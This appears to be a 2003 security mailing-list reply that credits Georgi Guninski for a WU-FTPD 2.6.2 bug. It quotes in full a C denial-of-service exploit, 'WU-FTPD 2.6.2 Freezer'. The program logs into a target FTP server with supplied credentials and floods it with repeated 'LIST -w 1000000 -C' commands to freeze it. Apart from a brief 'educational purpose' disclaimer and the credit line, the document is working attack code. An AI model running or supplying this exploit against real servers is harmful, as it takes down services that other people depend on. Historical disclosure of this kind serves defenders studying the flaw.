Re: WU-FTPD 2.6.2 Freezer

[Rossen Petrov <rpetrov () gmx net>]

let's not forget to give credit where credit is due. the bug was discovered 
by Georgi Guninski and is documented in his 10/22/03 advisory at 
http://www.guninski.com/binls.html

Rossen

At 07:55 31.10.2003 you wrote:


> http://www.rosiello.org
>
> Vulnerabilities Section.
>
>
>
>
>
> /*
>
> *
>
> *                 http://www.rosiello.org
>
> *                  (c) Rosiello Security
>
> *
>
> * Copyright Rosiello Security 2003
>
> * All Rights reserved.
>
> *
>
> * Tested on Red Hat 9.0
>
> *
>
> * Author: Angelo Rosiello
>
> * Mail  : angelo () rosiello org
>
> * URL   : http://www.rosiello.org
>
> *
>
> * This software is only for educational purpose.
>
> * Do not use it against machines different from yours.
>
> * Respect law.
>
> *
>
> */
>
>
>
> #include <stdio.h>
>
> #include <sys/types.h>
>
> #include <sys/socket.h>
>
> #include <netinet/in.h>
>
> #include <string.h>
>
>
>
> void addr_initialize( );
>
> void usage( );
>
>
>
> int main( int argc, char **argv )
>
> {
>
>         int i, sd, PORT, loop, error;
>
>         char user[30], password[30], ch;
>
>         struct sockaddr_in server_addr;
>
>
>
>         fprintf( stdout, "\n(c) Rosiello Security 2003\n" );
>
>         fprintf( stdout, "http://www.rosiello.org\n"; );
>
>         fprintf( stdout, "WU-FTPD 2.6.2 Freezer by Angelo Rosiello\n\n" );
>
>
>
>         if( argc != 6 ) usage( argv[0] );
>
>
>
>         if( strlen( argv[3] ) > 20 ) exit( 0 );
>
>         if( strlen( argv[4] ) > 20 ) exit( 0 );
>
>
>
>         sprintf( user, "USER %s\n", argv[3] );
>
>         sprintf( password, "PASS %s\n", argv[4] );
>
>
>
>         PORT = atoi( argv[2] );
>
>         loop = atoi( argv[5] );
>
>
>
>         addr_initialize( &server_addr, PORT, ( long )inet_addr( argv[1] ));
>
>         sd = socket( AF_INET, SOCK_STREAM, 0 );
>
>
>
>         error = connect( sd, ( struct sockaddr * ) &server_addr, sizeof( 
> server_addr ));
>
>         if( error != 0 )
>
>         {
>
>                 perror( "Something wrong with the connection" );
>
>                 exit( 0 );
>
>         }
>
>
>
>         while ( ch != '\n' )
>
>         {
>
>                 recv( sd, &ch, 1, 0);
>
>                 printf("%c", ch );
>
>         }
>
>
>
>         ch = '\0';
>
>
>
>         printf( "Connection executed, now waiting to log in...\n" );
>
>
>
>         printf( "%s", user );
>
>
>
>         send( sd, user, strlen( user ), 0 );
>
>         while ( ch != '\n' )
>
>         {
>
>                 recv( sd, &ch, 1, 0);
>
>                 printf("%c", ch );
>
>         }
>
>         printf( "%s", password );
>
>
>
>         ch = '\0';
>
>
>
>         send( sd, password, strlen( password ), 0 );
>
>         while ( ch != '\n' )
>
>         {
>
>                 recv( sd, &ch, 1, 0);
>
>                 printf("%c", ch );
>
>         }
>
>
>
>         printf( "Sending the DoS query\n" );
>
>         for( i=0; i<loop; i++ )
>
>         {
>
>                 write( sd, "LIST -w 1000000 -C\n", 19 );
>
>         }
>
>         printf( "All done\n" );
>
>         close( sd );
>
>         return 0;
>
> }
>
>
>
> void addr_initialize (struct sockaddr_in *address, int port, long IPaddr)
>
> {
>
>         address -> sin_family = AF_INET;
>
>         address -> sin_port = htons((u_short)port);
>
>         address -> sin_addr.s_addr = IPaddr;
>
> }
>
>
>
> void usage( char *program )
>
> {
>
>         fprintf(stdout, "USAGE: <%s> <IP> <PORT> <USER> <PASS> <LOOP>\n", 
> program);
>
>         exit(0);
>
> }